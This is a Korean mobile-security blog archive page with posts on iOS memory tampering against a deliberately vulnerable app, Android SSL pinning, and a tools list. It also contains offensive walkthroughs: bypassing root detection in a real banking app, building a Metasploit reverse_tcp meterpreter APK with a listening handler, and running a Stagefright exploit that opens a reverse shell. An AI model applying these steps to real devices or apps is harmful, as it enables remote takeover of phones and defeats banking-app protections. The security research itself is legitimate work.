'40.'에 해당되는 글 38건

  1. 2016.04.20 iOS Memory 문자열 변조(String Edit in iOS Memory)
  2. 2016.02.29 Securing mobile banking on Android with SSL certificate pinning
  3. 2015.11.16 Android Rooting 체크 우회(Hooking with Cydia Substrate)
  4. 2015.11.16 [Android Exploit] Android Exploit with metasploit
  5. 2015.11.16 [Android Exploit] Stagefright 취약점
  6. 2015.09.17 Android Tool
  7. 2015.03.05 Sublime Text에서 Androguard plugin 설치 및 사용법 (1)
  8. 2015.02.12 [Android] 안드로이드에 python 설치
  9. 2015.01.30 Unicode 한글
  10. 2015.01.26 [DVIA] 11. Sensitive Information in memory
  11. 2015.01.20 iOS GNU Debugger 설치
  12. 2014.11.23 iRET, Snoop-it 동시 설치
  13. 2014.11.23 iNalyzer5
  14. 2014.11.12 [DVIA] 10. Binary Patching
  15. 2014.09.11 [DVIA] 03. Runtime Manipulation
  16. 2014.09.11 [DVIA] 02. Jailbreak Detection (5)
  17. 2014.09.10 [DVIA] 01. Insecure Data Storage
  18. 2014.07.24 [iOS] Logify
  19. 2014.07.21 [DVIA] Damn Vulnerable iOS Application
  20. 2014.07.17 GikDBG iOS assembly-level debugger iOS 디버거 (3)
  21. 2014.07.16 iRET
  22. 2014.07.16 [Cydia App] iDevice VNC용 Veency
  23. 2014.07.15 iOS App 정적 분석용 Class-dump-z
  24. 2014.06.14 iOS Application Security Part 1-Setting Up a Mobile Pentesting Platform (1)
  25. 2014.06.14 Damn Vulnerable iOS Application(DVIA) (1)
  26. 2014.05.02 iOS App 크랙방지 (3)
  27. 2014.04.29 Introducing the iOS Reverse Engineering Toolkit
  28. 2014.04.29 dumpdecrypted
  29. 2014.04.29 iOS Jailbreak [계속 수정 예정]
  30. 2014.04.19 BlueStacks 루팅 후 Root Explorer APK 설치
메모리 변조하는 방법에 대해서 일부 개발자만 동작원리와 개발하는 방법을 알고있다. 오늘 메모리 변조에 대한 기본 지식, 메모리 함수, 변조 방법까지 정리 할 예정이다.

Part 1. 기본 개념
1. Process 프로세스
우리는 HelloWorld.c 컴파일을 하면 HelloWorld.exe을 실행 파일을 생성 수 있다. iOS/OSX는 실행 가능한 파일들이 모두  실행에 필요한 데이터와 명령어가 포함된 March-O 포맷으로 되어있다. 운영체제에서 해당 실행파일을 실행하면 우리는 그걸 프로세스라고 불른다. 사실 실행파일과 프로세스는 데이터와 명령어의 집합이 다른 상태의 같은 오브젝트(객체)이다. 실행 파일은 정적, 프로세스는 동적이라고 볼 수있다. 실행 파일은 하드 디스크에 저장되어있고 프로세스는 메모리 내 저장된다.
 
2. Vitual memory, memory page and memory region 영역
운영체제에서 실행파일을 실행할경우, 운영체제는 실행파일을 디스크에서 메모리로 로드한다. 이 프로세스는 메모리 어디에 위치할까?  ATM은 매우 복잡한 절차이며,  만일 꼭 알아야할 개념은 모든 프로세스는 별도의 메모리 공간을 차지한다는 것이다. 메모리 가상화를 통하여 프로세스 A와 프로세스 B는 다른 메모리 공간에 있다. 대부분의 메모리 작동은 가상 메모리를 기반한다. 그리고 ARMv7과 같은 32bit 프로세서의 경우 각 프로세스의 가상 메모리 사이즈는 2^32 = 4G바이트이다. 하지만 대부분의 프로세스는 실행 시 4GB를 사용하지 않고 4GB 보다 작은 부분을 소비한다. 프로세스 사용시 메모리의 실제 사이즈는 프로세스의 가상 메모리 공간이라고 불린다, 그리고 4GB 가상 메모리 공간은 많은 다양한 페이지 분할로 분할되어있다. 가상 메모리의 contiguous 블록은 고정(4096byte on iOS/OSX)되어있다. 메모리 동작의 최소한의 단위이다. 프로세스 가상 메모리 주소 공간은 다수의 메모리 영역으로 구성되어있다. 각각의 메모리 영역은 가상 메모리 페이지의 수를 포함하고, pay attention, 메모리 영역은 연속하지 않을 수 있다. 따라서 위의 개념은 다음  scrawls에 의해 설명 될 수 있다.



Part 2 Modeling 모델링
기본 개념을 정확하게 이해하고 난 다음에 메모리 변조에 대한  프로그래밍 모델을 구현하여 실제 코드를 작성해 본다.

메모리 변조란 무엇인가? 메모리에 있는 데이터를 수정하는 것이다.  어떻게 해야하는걸까? 메모리에는 주소가 존재하며, 시스템 APIs를 이용하여 우리가 찾을 값을 가지고 있는 주소를 읽고 쓸수가 있다. 하지만 우리가 찾을 주소는 어디있을까? 그 위치를 어떻게 찾을 수 있을까? 우리가 알고 있듯이 기계 코드는 쉽게 읽을 수가 없는 로우 레벨 코드로 작성되어있다. 하지만 기계가 읽을 수 있는 언어이다. 그리고 모든 기계 코드는 0과 1로 작성된 바이너리 포맷으로 되어있다. 즉, 궁극적으로 명령어와 데이타 모두 0과 1로 작성되어 있으며, 가상 메모리 상의 주소 공간은 모두 0과 1로 채워진다. 만일 찾을 값이 “010101”이면 가상 메모리 상의 주소 공간은 "00000111110101010110011000…”라고 작성되어지며 가상 메모리상의 주소 공간에서 우리가 목표한 값을 찾는건은 단락 내 문자열 패턴을 검색하는 것 만큼 쉽니다.
 
ARM은 little-endian형식으로 되어 있다.


메모리 수정 모델은 3개지로 나눈다
1) 모든 가상 메모리 영역을 나열 하여 대상 프로세스에서 가상 메모리 주소 공간을 얻는다.
2) 주소 공간에서 찾고자 하는 데이터를 찾는다. 그리고  찾고자하는 데이터의 주소를 얻는다.
3) 찾고자하는 데이터가 존재하는 주소의 데이터를 변경한다.


Part 3 functions 함수
코딩하기 전에, 빈번하게 접할 함수를 빠르게 살펴보자. 모두 mach_vm 함수들이다.
http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/osfmk/vm/vm_user.c

kern_return_t
mach_vm_read(
      vm_map_t       map,
      mach_vm_address_t       addr,
      mach_vm_size_t      size,
      pointer_t      *data,
      mach_msg_type_number_t      *data_size);
Description: Read/copy a range from one address space and return it to the caller. $map$ is the port for the task whose memory is to be read; $addr$ is the address at which to start the read; $size$ is the number of bytes to read; $data$ is a buffer to store the read bytes; $data_size$ on input, is a pointer to the maximum size of the buffer; on output, points to the size read.

kern_return_t
mach_vm_write)
     vm_map_t     map,
     mach_vm_address_t     address,
     pointer_t     data,
     __unused mach_msg_type_number_t size);
Description: Write data to the specified address in the target task's address space. $map$ is the port for the task whose memory is to be written; $address$ is the address at which to start the write; $data$ is a buffer to be written; $size$ is the size of $data$.

kern_retrun_t
mach_vm_region(
     vm_map_t     map,
     mach_vm_offset_t     *address,
     mach_vm_size_t     *size
     vm_region_flavor_t     flavor,
     vm_region_info_t     info
     mach_msg_type_number_t     *count,
     mach_port_t     *object_name);

Description: Return description of a virtual memory region. $map$ is the port for the task whose address space contains the region; $addr$ on input, is the address at which to start looking for a region; on output, returns the starting address actually used; $size$ on output is the number of bytes in the located region; $flavor$ is the type of information to be returned, should be VM_REGION_BASIC_INFO$info$ returns region information, should be of type vm_region_basic_info_data_64_t on both 32-bit and 64-bit OSes; $count$ on input, should be VM_REGION_BASIC_INFO_COUNT_64; on output, the size of the region.

void *
memmem(const void *big, size_t big_len, const void *little, size_t little_len);
Description: Locates the first occurrence of the byte string $little$ in the byte string $big$. If it matches, a pointer to the first character of the first occurrence of $little$ is returned; else it returns NULL.

Part 4 코딩
https://github.com/iosre/HippocampHairSalon

Part 5 테스트

약간 소스코드를 수정하여 String을 인식할 수 있도록 변경하였다.

memory_iOS_v.0.6.zip


DVIA라는 앱의 Binary Patching의 로그인 프로세스를 이용하여 메모리 변조가 잘 되는지 확인하려고 한다.
Login Method 1의 계정과 비밀번호는 Admin/This!sA5Ecret 이다.
이때 로그인 비밀번호에 qqqqqqqqqqqqq를 입력하면 로그인이 틀리게 된다.



./memory_char_iOS -> 실행하면 아래와 같이 PID를 읽어온다.
변경하고 싶은 프로세스 PID를 입력하고 문자열을 검색한다.
이전에 qqqqqqqqqqqqq를 입력 했으므로 해당 문자열을 검색한다.
Please choose your next action 1 -> Modify search results; 선택
0x메모리 주소 -> 입력
This!sA5Ecret -> 입력


Admin/qqqqqqqqqqqqq를 입력한 상태에서 memory_char_iOS를 이용하여 문자열을 This!sA5Ecret를 입력한다.
메모리 내에서는 입력패드로 입력한 비밀번호가 qqqqqqqqqqqqq에서 This!sA5Ecret로 변경된 상태이므로 로그인이 성공하게 된다.







 
  
저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS Memory 문자열 변조(String Edit in iOS Memory)  (0) 2016.04.20
[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
애플리케이션과 서버간에 민감한 정보를 안전하게 전송하고 싶을 때, SSL 방식을 채택하여 사용할 것이다. 하지만 SSL 채택은 반만 맞는 이야기다.

애플리케이션과 서버간에 민감한 데이터를 전송하는 일은 빈번하다. 가장 대표적인 예로는 모바일 은행 애플리케이션이 있다. 가장 최악의 사황으로는 악의적인 해커가 당신의 은행 계좌 정보나 돈을 훔치거나 더 나쁜 행위를 저지를 수 있다.

모바일 뱅킹 솔루션에서 보안은 중요하기 때문에 데이터의 안전과 비밀성을 유지하기 위해서 SSL을 사용하는 것이다. 하지만 이러한 방법은 깨질 수 있다.

Certificate pinning이란?


SSL 연결을 만들 때 기본적으로 클라이언트는 서버의 인증서를 확인하게 된다.
- 신뢰할수 있는 상위(root) 인증서를 검증 가능한 체인이 존재하는지 여부
- 요청한 호스트 명의 신뢰 여부

서버가 이미 알고있는 특정 인증서의 경우에 대해서 확인하지 않는 경우가 발생한다.

장지(모바일 디바이스) 안에 신뢰하는 저장서와 원격서버 사이의 의존도로 인해 보안문제가 발생한다. 사용자가 임의로 모바일 디바이스에 신뢰하는 저장소에 인증서를 설치 가능하므로, Man-in-the middle attacks(중간자 공격)이 가능하다.

Certificate pinning은 이러한 문제를 해결해준다. 서버에서 사용할 인증서를 모바일 안에 하드코딩하게된다. 앱은 디바이스 내 신뢰하는 저장소에 의존하는 대신에 앱 내부에 있는 인증서를 사용하여 서버와 SSL을 연결하게 된다.

또한 디바이스에 부가적인 인증서 설치가 필요 없으며 자체 서명된 인증서로 호스트 신뢰 기능을 제공한다.

장점 :
- 보안 강화 : Pinned SSL 인정서를 사용하면 앱은 디바이스 내 신뢰하는 인증서 저장소와 독립하여 사용할 수 있다. 앱 내부에 하드 코딩 된 신뢰하는 인증서 저장소를 건드는건 쉽지 않다. 앱을 디컴파일하여 변경 후 재 컴파일  해야한다. 앱에서 서명했던 기존 개발자와 같은 Android Keystore을 사용하여 서명은 불가능하다.

- 비용 절감 : SSL 인증서 피닝은 자체 서명된 인증서를 사용할 수 있도록 제공해준다. 예를들어 앱 개발 시 자체 API 서버를 사용한다면 인증서에 대한 지불 대신에 자체 서명된 인증서를 서버에 사용가능하다. 비록 그 비용이 아주 적어도 이러한 방법으로 보안 강화와 비용 절감할 수 있다.

결점 :
- 융통성 부족 : SSL 인증서 피닝을 사용하고 있다면 쉽게 SSL 인증서 변경이 불가능하다. 모든 SSL인증서를 변경하기 위해서는 앱을 업데이트하고 Google Play에 다시 올려야한다. 또한 사용자들도 재설치 해야한다.

Android 내부에서 동작 방식

Android 내 Pinning SSL 인증서를 넣는 일은 쉽지 않다. Android 2.2 이상 버전에서 작업해야하며, 적용 전에 많은 정보를 찾아야한다.

프로세스 내 3가지 중요한 단계 :
- 원하는 서버에 대한 인증서 획득(전체 인증서 체인)
- .bks 형태로 인증서를 제작 - 모든 디바이스에서 호환하기 위해서는 매우 중요한 작업
- Android에서 제공한 Apache HTTP Client 사용 - SSL 연결을 위해서 제공한 .bks keystore를 초기화하는데 사용

완벽하게 동작하는 예 : https://github.com/ikust/hello-pinnedcerts

SSL 피닝은 모든 앱에서 동작해야하는건 아니지만, 위험도가 높은 앱에서 보안 레벨을 올리는데 의미가 있다.

참고 자료 : https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning
저작자 표시 비영리 동일 조건 변경 허락
신고
일부 금융 모바일 애플리케이션의 경우 Super user 권한을 임시 비활성화해도 정상 작동하지만 대부분의 금융 애플리케이션은 위변조를 통하여 Android 플랫폼 위변조를 탐지를 우회하게 된다. 하지만 최근 모바일 애플리케이션은 난독화, 재컴파일 방지, 위변조 탐지 등을 통해서 애플리케이션 위변조를 이용한 Super user 권한 탐지 우회가 어려워지고 있다.

Android Hooking

후킹(영어: hooking)은 소프트웨어 공학 용어로, 운영 체제나 응용 소프트웨어 등의 각종 컴퓨터 프로그램에서 소프트웨어 구성 요소 간에 발생하는 함수 호출, 메시지, 이벤트 등을 중간에서 바꾸거나 가로채는 명령, 방법, 기술이나 행위를 말한다. 이때 이러한 간섭된 함수 호출, 이벤트 또는 메시지를 처리하는 코드를 후크(영어: hook)라고 한다.

크래킹(불법적인 해킹)을 할 때 크래킹 대상 컴퓨터의 메모리 정보, 키보드 입력 정보 등을 빼돌리기 위해서 사용되기도 한다.

예를 들어 특정한 API를 후킹하게 되면 해당 API의 리턴값을 조작하는 등의 동작을 수행할 수 있다..
- 위키백과, 우리 모두의 백과사전.


후킹을 통해서 ARM 기반의 안드로이드 환경(Rooting 필수)에서 모바일 애플리케이션 위변조 없이 해당 애플리케이션 라이브러리 내 함수에 대한 호출 주소를 변경하여 Rooting 탐지 및 특정 기능 변경이 가능하다.



There is a process that is called "Zygote". This is the heart of the Android runtime. Every application is started as a copy ("fork") of it. This process is started by an /init.rc script when the phone is booted. The process start is done with /system/bin/app_process, which loads the needed classes and invokes the initialization methods.

*. zygote process
Zygote란  Android System에서 애플리케이션을 빠르게 구동하기 위해서 미리 fork되어있는 중립적인 상태로 대기하는 프로세스로 system에서 exec()호출을 통해 특정 애플리케이션을 실행하면 zygote process와 결합하여 구동하게 된다.

zygote process는 init process에 의해 구동되며 init process가 system 구동에 필요한 각 daemon을 로드 후 마지막에 로드되는 process로 android 서비스 및 애플리케이션은 zygote process를 통해 로드되어 진다. Android Shell ps 명령어를 이용하여 PID와 PPID를 통하여 init process가 생성시킨 process들과 zygote process가 생성시킨 process를 확인 가능하다. zygote process가 실행이 되면 Dalvik VM을 실행시키게 되는데 class와 resource를 미리 로딩한 상태로 application의 logic을 기다리게되어 구동 속도가 빨라지게 된다.

* Cydia Substrate는 Xposed와 비슷한 방식으로 후킹을 진행하며, 아직 Cydia Substrate의 후킹방식을 분석을 종료하지 못하여 대신 Xposed 후킹 방식을 서술하였습니다.

Xposed 프레임웍을 설치하면 확장 app_process 실행 파일을 /system/bin 아래 복사한다. 확장된 setup 프로세스는 Xposed jar 파일을 classpath에 추가하고 특정 위치에서 method를 호출하게 된다. 예를 들어 VM이 생성된 직후 Zygote가 애플리케이션의 main method를 호출 하기 전에 Xposed가 method 내부에서 일부 맥락(context)을 수행하게 된다.


후킹방법

- Superuser 권한 활성화 확인



- Hana N Bank 루팅 탐지 확인




- Play 스토어에서 Cydia substrate, Root cloak plus 설치



- RootCloak Plus에서 루팅 탐지를 우회할 어플리케이션 선택



- Hana N Bank 어플리케이션 종료 후 재 실행 (루팅 미탐지)



 ※ 주의

 본 사이트의 모든 정보는 정보보안 강화를 위한 연구 목적으로 작성되는 블로그 입니다.

 만일 악의적으로 이용시 사용자는 아래와 같은 관련법으로 처벌 받을 수 있습니다.


 

※ 참고자료

Cydia Substrate
http://www.cydiasubstrate.com/id/38be592b-bda7-4dd2-b049-cec44ef7a73b/

Xposed
https://github.com/rovo89/XposedBridge/wiki/Development-tutorial


저작자 표시 비영리 동일 조건 변경 허락
신고
metasploit reverse_tcp android
http://exploiterz.blogspot.kr/2013/07/how-to-hack-android-devices-using.html

메타익스플로잇을 사용하여 안드로이드 Exploit Code가 포함된 APK 생성 및 리버스커넥션 연결하기

# ifconfig


# msfpayload android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 R > oneandonlyme.apk


# msfconsole


msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost X.X.X.X
msf exploit(handler) > set lport 4444


msf exploit(handler) > exploit


sysinfo
webcam_list
getuid
ps




저작자 표시 비영리 동일 조건 변경 허락
신고

Android 미디어 파일을 처리하는 Stagefright에서 다수의 정수 오버플로우 취약점이 발견되어 해커가 조작된 미디어 파일을 MMS를 이용하여 피해자로 전송할 경우 사용자의 인지 없이 원격 코드 실행 및 권한상승이 가능하다.

영향 받는 버전

안드로이드 2.2(Froyo) ~ 5.1.1_r5(Lollipop)


Common Vulnerabilities and Exposures (CVE) 번호

CVE-2015-1538
CVE-2015-1539
CVE-2015-3824
CVE-2015-3826
CVE-2015-3827
CVE-2015-3828

테스트

https://www.exploit-db.com/exploits/38124/

exploit code를 실행하면 수많은 에러 메세지가 발생한다. Linux에서 Windows로 포팅하는 작업이 필요하다.

# 특수 문자 치환
〃  ->  "
〃'''' ->  """
―  ->  -










 # 불필요한 문구 삭제
- See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purpose/#sthash.MbvoiMxd.dpuf



# mp4.py로 파일명 변환



# 옵션 특수문자 치환 ―  ->  -




# 실행


> python mp4.py -c [리버스커넥션을 연결한 서버 IP] [Port]





# 리버스커넥션 열기
> nc.exe -l -p [Port]


# Genymotion에서 시연 실패


-_-??

참고자료

- http://www.zdnet.com/article/check-your-android-device-for-the-stagefright-vulnerability/
- http://www.techrepublic.com/article/how-to-scan-your-device-for-the-stagefright-vulnerability/
- http://thehackernews.com/2015/09/stagefright-android-exploit-code.html
- http://null-byte.wonderhowto.com/forum/stagefright-exploit-released-0164432/
- https://en.wikipedia.org/wiki/Stagefright_(bug)



저작자 표시 비영리 동일 조건 변경 허락
신고

Android Tool

40./41. Android 2015.09.17 17:24
Please use left sidebar to navigate between sections.                                  Last Updated on: 8-May-2015

 Forensics Tools 

  • Android Forensics - Open Source Android Forensics App and Framework

  • Android Data Extractor Lite

  • BitPim - BitPim is a program that allows you to view and manipulate data on many CDMA phones from LG, Samsung, Sanyo and other manufacturers.

  • LiME - LiME (formerly DMD) is a Loadable Kernel Module (LKM), which allows the acquisition of volatile memory from Linux and Linux-based devices, such as those powered by Android.

  • Open Source Android Forensics

  • P2P-ADB - Phone to Phone Android Debug Bridge - A project for "debugging" phones from other phones.

  • pySimReader - It allows users to write out arbitrary raw SMS PDUs to a SIM card.

 Development Tools 

  • Android SDK - The Android software development kit (SDK) includes a comprehensive set of development tools. These include a debugger, libraries, a handset emulator based on QEMU, documentation, sample code, and tutorials.

  • Android NDK - The NDK is a toolset that allows you to implement parts of your app using native-code languages such as C and C++.

  • ADT Bundle - The Android Developer Tools(ADT) bundle is a single download that contains everything for developers to start creating Android Application

    • Android Studio IDE or Eclipse IDE
    • Android SDK tools
    • Android 5.0 (Lollipop) Platform
    • Android 5.0 emulator system image with Google APIs
  • Native Android Runtime Emulation - A native Android emulator featuring the following functions:

    • Full stack support for ELF built by Android NDK.
    • Seeminglessly native gdb support.
    • Link and load shared library.
    • Open to extension of different architecture and C runtime.
  • Root Tools - RootTools provides rooted developers a standardized set of tools for use in the development of rooted applications.

 Static Analysis Tools 

  • Androwarn:- Yet another static code analyzer for malicious Android applications

  • ApkAnalyser - ApkAnalyser is a static, virtual analysis tool for examining and validating the development work of your Android app.

  • APKInspector - APKinspector is a powerful GUI tool for analysts to analyze the Android applications.

  • Error-Prone - Catch common Java mistakes as compile-time errors

  • FindBugs + FindSecurityBugs - FindSecurityBugs is a extension for FindBugs which include security rules for Java applications. It will find cryptography problems as well as Android specific problems.

  • FlowDroid - FlowDroid is a context-, flow-, field-, object-sensitive and lifecycle-aware static taint analysis tool for Android applications.

  • Lint - The Android lint tool is a static code analysis tool that checks your Android project source files for potential bugs and optimization improvements for correctness, security, performance, usability, accessibility, and internationalization.

  • Smali CFGs - Smali Control Flow Graph's

  • Smali and Baksmali - smali/baksmali is an assembler/disassembler for the dex format used by dalvik, Android's Java VM implementation.

  • Thresher - Thresher is a static analysis tool that specializes in checking heap reachability properties. Its secret sauce is using a coarse up-front points-to analysis to focus a precise symbolic analysis on the alarms reported by the points-to analysis.

 Dynamic Analysis Tools 

  • Android Hooker - This project provides various tools and applications that can be use to automaticaly intercept and modify any API calls made by a targeted application.

  • Droidbox - DroidBox is developed to offer dynamic analysis of Android applications

  • Drozer - Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

  • Xposed Framework

 Reverse Engineering Tools 

  • Androguard - Reverse engineering, Malware and goodware analysis of Android applications ... and more (ninja !)

  • Android loadble Kernel Modules - It is mostly used for reversing and debugging on controlled systems/emulators.

  • AndBug - Android Debugging Library

  • ApkTool - A tool for reverse engineering Android Apk Files

  • APK Studio - APK Studio is an IDE for decompiling/editing & then recompiling of android application binaries.

  • Bytecode-Viewer - A Java 8 Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More)

  • CodeInspect - A Jimple-based Reverse-Engineering framework for Android and Java applications.

  • dedex - A command line tool for disassembling Android DEX files.

  • Dex2Jar - Tools to work with android .dex and java .class files

  • dexdisassembler - A GTK tool for disassembling Android DEX files.

  • Fern Flower - FernFlower Java decompiler

  • Fino - Android small footprint inspection tool

  • Introspy-Android - Blackbox tool to help understand what an Android application is doing at runtime and assist in the identification of potential security issues.

  • JD-Gui - Yet another fast Java Decompiler

  • JEB - The Interactive Android Decompiler

  • smali - An assembler/disassembler for Android's dex format

 Hooking Tools 

  • ADBI Framework - Simple and easy to use toolkit for dynamic instrumentation of Dalvik code.

  • Cydia Substrate - Cydia Substrate for Android enables developers to make changes to existing software with Substrate extensions that are injected in to the target process's memory.

  • Xposed Framework - Xposed framework enables you to modify the system or application aspect and behaviour at runtime, without modifying any Android application package(APK) or re-flashing.

  • Frida - Inject JavaScript to explore native apps on Android

 Obfuscators & Deobfuscators Tools 

  • APK Obfuscator - A generic DEX file obfuscator and munger.

  • Bytecode-Viewer - A Java 8 Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More)

  • Class Name Deobfuscator - Simple script to parse through the .smali files produced by apktool and extract the .source annotation lines.

  • Dalvik Obfuscator - A set of tools/scripts to obfuscate and manipulate dex files

  • Simplify - Generic Android Deobfuscator

 Online Analyzers 

  • Android Observatory - The Android Observatory is a web interface to a large repository of Android applications. It allows users to search or browse through thousands of Android apps and retrieve metadata for those apps.

  • Android APK Decompiler - Decompiling APK files made easy. Online decompiler.

  • AndroidTotal - AndroTotal is a free service to scan suspicious APKs against multiple mobile antivirus apps.

  • Anubis - Malware Analysis for Unknown Binaries.

  • Akana - Akana is an online Android app Interactive Analysis Enviroment (IAE), which is combined with some plugins for checking the malicious app.

  • App360Scan - Tells about permissons used by an Application and what harm it can cause to users.

  • CopperDroid - It automatically perform out-of-the-box dynamic behavioral analysis of Android malware.

  • Dexter - Dexter is an interactive Android software analysis environment with collaboration features.

  • Eacus - A lite Android app analysis framework

  • Mobile Sandbox - The Mobile-Sandbox provides static and dynamic malware analysis combined with machine learning techniques for Android applications.

  • Sandroid - An automatic Android application analysis system

  • Virus Total - VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware.

 Android Testing Distributions 

  • Appie - A portable software package for Android Pentesting and an awesome alternative to existing Virtual machines.It is a one stop answer for all the tools needed in Android Application Security Assessment, Android Forensics, Android Malware Analysis.

  • Android Tamer - Android Tamer is a Virtual / Live Platform for Android Security professionals.

  • AppUse - AppUse is a VM (Virtual Machine) developed by AppSec Labs.

  • Mobisec - Mobile security testing live environment

  • Now Secure App Testing Suite:Community Edition

  • Santoku Linux - Santoku Linux is a virtual machine developed by NowSecure Mobile.

  • Shadow OS - ShadowOS is a free tool designed by Fortify on Demand to help Security and QA teams test Android applications for security vulnerabilities. It is a custom OS based off of KitKat that intercepts specific areas of the device's operation and makes testing apps for security vulnerabilites easier.

  • Vezir Project - Yet Another Linux Virtual Machine for Mobile Application Pentesting and Mobile Malware Analysis.

 Android Vulnerable Apps 

 Android Security Apps 

  • Android IMSI-Catcher-Detector - It is an app to detect IMSI-Catchers. IMSI-Catchers are false mobile towers (base stations) acting between the target mobile phone(s) and the real towers of service providers. As such they are considered a Man-In-The-Middle (MITM) attack. In the USA the IMSI-Catcher technology is known under the name "StingRay".

  • Am I Vulnerable - AIV is an Android security app that notifies the user of publicly known vulnerabilities found in the installed version of apps on the device.

Application Security Framework

  • AppRay - App-Ray takes a look inside your apps and helps you understand what they really do. In fully automated tests, App-Ray analyzes apps and highlights vulnerabilities, data leaks, and privacy breaches.

  • YSO-Mobile Security Framework - Mobile Security Framework is an intelligent, all-in-one open source mobile application (Android/iOS) automated pen-testing framework capable of performing static and dynamic analysis.

 Android Malwares Related 

 Tutorials 

 Android Vulnerability List 

 Android Security Libraries 

  • Android Password Store

  • Android Pinning - A standalone library project for certificate pinning on Android.

  • Conceal By Facebook - Conceal provides easy Android APIs for performing fast encryption and authentication of data.

  • Dexguard - DexGuard is our specialized optimizer and obfuscator for Android. Create apps that are faster, more compact, and more difficult to crack.

  • Encryption - Encryption is a simple way to create encrypted strings to Android project.

  • CWAC-Security - Helping You Help Your Users Defend Their Data

  • IOCipher - IOCipher is a virtual encrypted disk for apps without requiring the device to be rooted.

  • Java AES Crypto - A simple Android class for encrypting & decrypting strings, aiming to avoid the classic mistakes that most such classes suffer from.

  • NetCipher - This is an Android Library Project that provides multiple means to improve network security in mobile applications.

  • OpenPGP API - The OpenPGP API provides methods to execute OpenPGP operations, such as sign, encrypt, decrypt, verify, and more without user interaction from background threads.

  • OWASP Java HTML Sanitizer

  • Proguard - ProGuard is a free Java class file shrinker, optimizer, obfuscator, and preverifier. It detects and removes unused classes, fields, methods, and attributes.

  • Spongy Castle - a repackage of Bouncy Castle for Android

  • SQL Cipher - SQLCipher is an open source extension to SQLite that provides transparent 256-bit AES encryption of database files.

  • Secure Preferences - Android Shared preference wrapper than encrypts the keys and values of Shared Preferences.

  • Trusted Intents - Library for flexible trusted interactions between Android apps

 Best Practices 

 Contribute 

It is awesome to see that you want to contribute in this wiki, which would directly help the community. Project/Tools which are no longer maintained are not included in this wiki. List of awesome contributors to this wiki is given below. Please follow one of the ways from below to include tool or resource in this wiki-

Please let me know if you have any suggestions

Below is the list of awesome people who contributed to this wiki.I would like to specially thanks Philippe Arteau and Amandeep Gupta who contributed a lot for UI of this website.


https://mobilesecuritywiki.com/

저작자 표시 비영리 동일 조건 변경 허락
신고
Sublime Text에서 Androguard plugin 설치 및 사용법


Androguard 툴은 애플리케이션 분석 및 apk 파일 리버싱 엔지니어링에 주로 초점되어 있으며, 안드로이드 애플리케이션 평가용으로 사용된다.

툴은 파이선으로 되어있으며 명령어 프롬프트를 이용하여 apk 파일에 접근이 가능하다. 

Installation 설치

우선 플러그인이 설치 가능한 Sublime text 버전을 설치해야한다.

Sublime Text version 2 : http://www.sublimetext.com/2

또한, Androguard plugin 집 파일을 다운받아야 한다.

Portable Version (포터블 버전)
Sublime Text를 다운받은 후 1번은 실행해야 필요한 폴더가 생성된다. 
이전에 다운받은 ag-st-1.9.zip 파일을 압축을 해제하고 아래 폴더 위치로 복사한다.
+ Portable Sublime\Data\Packages\

Usage 사용법

Androuard Plugin 사용법은 안드로이드 apk 파일을 Sublime Text 애플리케이션에 드래그하여 넣는다. 아래 이미지와 같이 Sublime Text에 APK가 몇분만에 로드되었다.



Ctrl + F5 키 조합으로 Androguard plugin을 활성화하고 APK 파일 분석을 시작할 수 있다.


APK 파일 내 가장 중요한 파일은 분홍색으로 표시되며, 추가로 분석이 가능하다. 가장 먼저 AndroidManifest.xml 파일을 확인한다. mainfest를 통해 애플리케이션에 필요한 권한 식별, 사용 할 main activity, 모든 activity 검색, 컨텐츠 제공자와 수신자의 정보등 애플리케이션 구동 및 여러 정보를 표시하고 있다.


원본 AndroidManifest.xml에 접근을 원할 경우 단순히 F5를 누르면 원래 형식의 Manifest에 접근 가능하다.


다시 분석중인 애플리케이션 메인페이지로 돌아간다. 애플리케이션 내 모든 Class 파일을 포함하고 있는 classes.dex 파일을 더블클릭한다. 모바일 애플리케이션의 사이즈에 따라서 Sublime Test가 정지되는 것처럼 보일 수 있으나 기달리면 분석이 완료됩니다. 분석이 끝나면 새로운 페이지가 열리며, 애플리케이션 내 모든 class가 포함하는 메소드와 필드를 확인 가능하다.


아무 method를  더블 클릭하면, Dalvik bytecode format으로 디컴파일된 코드를 확인 가능하다.


F5를 누르면, 디컴파일된 클레스가 java와 비슷한 코드로 변경되는 것을 확인 가능하다.


메소드 내에서 Ctrl+F6을 누른다면 해당 메소드를 호출하는 모든 함수를 확인 가능하다.
[이미지 없음]

마지막으로 Ctrl+F7을 누르면 지금 메소드를 호출하는 함수가 포함된 클래스들을 볼 수 있다.
[이미지 없음]

Androguard plugin을 통하여 안드로이드 애플리케이션 정보 수집 및 컴파일하는 과정에 크게 도움을 줄 수 있으며, 악성코드 분석 및 모바일 앱 침투 시험에 도움을 줄 수 있는 훌륭한 툴이라고 판단한다.


저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 41. Android' 카테고리의 다른 글

[Android Exploit] Stagefright 취약점  (0) 2015.11.16
Android Tool  (0) 2015.09.17
Sublime Text에서 Androguard plugin 설치 및 사용법  (1) 2015.03.05
[Android] 안드로이드에 python 설치  (0) 2015.02.12
Unicode 한글  (0) 2015.01.30
BlueStacks 루팅 후 Root Explorer APK 설치  (0) 2014.04.19

안드로이드 Python 설치


Scripting Layer for Android brings scripting languages to Android.

https://code.google.com/p/android-scripting/


android-scripting

https://code.google.com/p/android-scripting/downloads/detail?name=PythonForAndroid_r4.apk


















저작자 표시 비영리 동일 조건 변경 허락
신고

Unicode 한글

40./41. Android 2015.01.30 16:06
Insert title here 한글 -> 유니코드 결과 :

